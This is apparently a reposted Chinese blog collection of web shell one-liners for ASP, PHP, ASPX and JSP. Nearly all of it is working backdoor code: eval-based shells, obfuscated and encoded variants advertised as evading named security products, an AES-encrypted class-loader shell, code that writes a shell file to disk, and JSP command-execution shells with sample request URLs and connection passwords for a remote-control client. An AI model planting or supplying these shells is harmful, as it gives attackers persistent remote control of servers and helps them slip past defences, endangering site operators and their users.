PHP、asp、aspx、JSP一句話

原文地址： https://www.cnblogs.com/JoEcO01/p/11556413.html

一、asp一句話木馬：

<%eval request(「x」)%>

二、php一句話木馬：

<?php eval($_POST[g]);?>

三、aspx一句話：

<%@ Page Language=」Jscript」%><%eval(Request.Item["x"],」unsafe」);%>

四、數據庫加密一句話(密碼a)：

┼攠數畣整爠煥敵瑳∨≡┩愾

五、網站配置、版權信息專用一句話：

」%><%Eval Request(x)%>

六、一句話再過護衛神：

<%Y=request(「x」)%> <%execute(Y)%>

七、過攔截一句話木馬：

<% eXEcGlOBaL ReQuEsT(「x」) %>

八、asp閉合型一句話:

%><%eval request(「0o1Znz1ow」)%><%

九、能過安全狗的解析格式：

;hfdjf.;dfd.;dfdfdfd.asp;sdsd.jpg

十、突破安全狗的一句話：

<%Y=request(「x」)%> <%eval(Y)%>

十一、elong過安全狗的php一句話：

<?php $a = 「a」.」s」.」s」.」e」.」r」.」t」; $a($_POST[cc]); ?>

十二、突破護衛神，保護盾一句話：

<?php $a = str_replace(x,」",」axsxxsxexrxxt」);

$a($_POST["test"]); ?>

1三、高強度php一句話：

<?php substr(md5($_REQUEST['heroes']),28)==’acd0′&&eval($_REQUEST['c']);?>

1四、後臺經常使用寫入php一句話（密碼x）：

$fp = @fopen(「c.php」, ‘a’);

f@fwrite($fp, ‘<’.'?php’.」\r\n\r\n」.’eval($_POST[x])’.」\r\n\r\n?」.」>\r\n」);

@fclose($fp);

1五、許多網頁程序都不容許包含〈%%〉標記符號的內容的文件上傳，這樣一句話木馬就寫入不進數據庫了。

‘ E& Y; Y1 R$ s# ]. L$ c改爲：〈scriptlanguage=VBScript runat=server〉execute request(「l」)〈/Script

這樣就避開了使用〈%%〉，保存爲.ASP,程序照樣執行的效果是同樣的

1六、PHP高強度一句話：

<?php substr(md5($_REQUEST['x']),28)==’acd0′&&eval($_REQUEST['c']);?> 菜刀鏈接：/x.php?x=lostwolf 腳本類型：php 密碼：c

<?php assert($_REQUEST["c"]);?> 菜刀鏈接躲避檢測密碼：c

1七、突破安全狗的aspx的一句話：

<%@ Page Language=」C#」 ValidateRequest=」false」 %>

<%try{ System.Reflection.Assembly.Load(Request.BinaryRead(int.Parse(Request.Cookies["你的密碼"].Value))).CreateInstance(「c」, true, System.Reflection.BindingFlags.Default, null, new object[] { this }, null, null); } catch { }%>

1八、php變異一句話：

<?php ${"\x47L\x4f\x42\x41LS"}["\x6c\x68\x73l\x61wk"]="c";$kvbemdpsn="c";${"\x47\x4c\x4f\x42\x41\x4cS"}["\x68\x78a\x77\x67\x6d\x6d\x70\x6c\x77o"]="b\x6b\x66";${"GLOBx41Lx53"}["x70txx75x76x74uijx6d"]="x76bl";${"\x47\x4c\x4fB\x41\x4c\x53"}["g\x6f\x6fl\x72\x7a"]="\x62\x6b\x66";${${"\x47\x4cO\x42\x41\x4c\x53"}["p\x74xu\x76\x74\x75\x69\x6a\x6d"]}=str_replace("\x74\x69","","\x74\x69st\x69t\x74ir\x74i\x5frt\x69\x65\x74\x69pl\x74i\x61t\x69\x63\x65");${${"G\x4cO\x42\x41\x4cS"}["\x68\x78\x61\x77gm\x6d\x70\x6c\x77\x6f"]}=${${"G\x4c\x4f\x42\x41\x4cS"}["\x70t\x78\x75\x76\x74\x75ijm"]}("\x6b","","\x6b\x62\x61k\x73\x6b\x65\x36\x6b\x34k\x5fkdk\x65\x6b\x63\x6b\x6f\x6b\x64ke");${${"\x47L\x4f\x42ALS"}["lh\x73\x6c\x61\x77\x6b"]}=${${"\x47\x4cO\x42A\x4c\x53"}["g\x6f\x6f\x6cr\x7a"]}("YX\x4ezZX\x49=").@$_GET["n"]."x74";@${$kvbemdpsn}($_POST["59f1f"]);echo "ax62cx61x62cabx63n";?>

1九、繞阿里雲冰蠍php

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extend\u0073 ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>

20、JSP一句話收集

if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());

在瀏覽器地址欄輸入http://127.0.0.1:8080/222.jsp?f=1.txt&t=hello world

而後再輸入http://127.0.0.1:8080/test/1.txt

2一、jsp無回顯執行系統命令：

<%Runtime.getRuntime().exec(request.getParameter("i"));%>

請求：http://127.0.0.1:8080/Shell/cmd2.jsp?i=ls

執行以後不會有任何回顯，用來反彈個shell很方便。

2二、jsp有回顯帶密碼驗證的:

if("023".equals(request.getParameter("pwd"))){

java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();

int a = -1;

byte[] b = new byte[2048];

out.print("<pre>");

while((a=in.read(b))!=-1){

out.println(new String(b));

}

out.print("</pre>");

}

請求：http://192.168.16.240:8080/Shell/cmd2.jsp?pwd=023&i=ls

2三、JSP

<%@ page contentType="text/html;charset=big5" session="false" import="java.io.*" %>

<html>

<head>

</head>

<body>

Runtime runtime = Runtime.getRuntime();

Process process =null;

String line=null;

InputStream is =null;

InputStreamReader isr=null;

BufferedReader br =null;

String ip=request.getParameter("cmd");

try

{

process =runtime.exec(ip);

is = process.getInputStream();

isr=new InputStreamReader(is);

br =new BufferedReader(isr);

out.println("<pre>");

while( (line = br.readLine()) != null )

{

out.println(line);

out.flush();

}

out.println("</pre>");

is.close();

isr.close();

br.close();

}

catch(IOException e )

{

out.println(e);

runtime.exit(1);

}

</body>

</html>

2四、aspx木馬收集：

<%@ Page Language="Jscript"%><%eval(Request.Item["chopper"],"unsafe");%>

隨日期變化的鏈接密碼, Asp.NET服務端寫法：

<%@ Page Language="Jscript"%><%eval(Request.Item[FormsAuthentication.HashPasswordForStoringInConfigFile(String.Format("{0:yyyyMMdd}",DateTime.Now.ToUniversalTime())+"37E4DD20C310142564FC483DB1132F36", "MD5").ToUpper()],"unsafe");%>

例如：菜刀的密碼爲chopper，在前面加三個字符,新密碼爲：{D}chopper

<%@ Page Language="Jscript" validateRequest="false" %><%Response.Write(eval(Request.Item["w"],"unsafe"));%>

function popup(str) {

var q = "u";

var w = "afe";

var a = q + "ns" + w;

var b= eval(str,a);

return(b);

}

</script>

popup(popup(System.Text.Encoding.GetEncoding(65001).

GetString(System.Convert.FromBase64String("UmVxdWVzdC5JdGVtWyJ6Il0="))));

密碼 z

<%@ Page Language="Jscript" validateRequest="false" %>

var keng

keng = Request.Item["never"];

Response.Write(eval(keng,"unsafe"));

<%@ Page Language = Jscript %>

<%var/*-/*-*/P/*-/*-*/=/*-/*-*/"e"+"v"+/*-/*-*/

"a"+"l"+"("+"R"+"e"+/*-/*-*/"q"+"u"+"e"/*-/*-*/+"s"+"t"+

"[/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]"+

","+"\""+"u"+"n"+"s"/*-/*-*/+"a"+"f"+"e"+"\""+")";eval

(/*-/*-*/P/*-/*-*/,/*-/*-*/"u"+"n"+"s"/*-/*-*/+"a"+"f"+"e"/*-/*-*/);%>

密碼 -7

<%@PAGE LANGUAGE=JSCRIPT%>

<%var PAY:String=Request["\x61\x62\x63\x64"];

eval(PAY,"\x75\x6E\x73\x61"+"\x66\x65");

密碼 abcd

<%@PAGE LANGUAGE=JSCRIPT%>

<%var PAY:String=

Request["\x61\x62\x63\x64"];eval

(PAY,"\x75\x6E\x73\x61"+

"\x66\x65");%>

過狗過D盾一句話

<%@ Page Language="Jscript" Debug=true%>

var a=System.Text.Encoding.GetEncoding(65001).GetString(System.Convert.FromBase64String("UmVxdWVzdC5Gb3JtWyJwYXNzIl0="));

var b=System.Text.Encoding.GetEncoding(65001).GetString(System.Convert.FromBase64String("dW5zYWZl"));

var c=eval(a,b);

eval(c,b);

<%@ Page Language="Jscript" Debug=true%>

var a=Request.Form["pass"];

var b="unsa",c="fe",d=b+c;

function fun()

{

return a;

}

eval(fun(),d);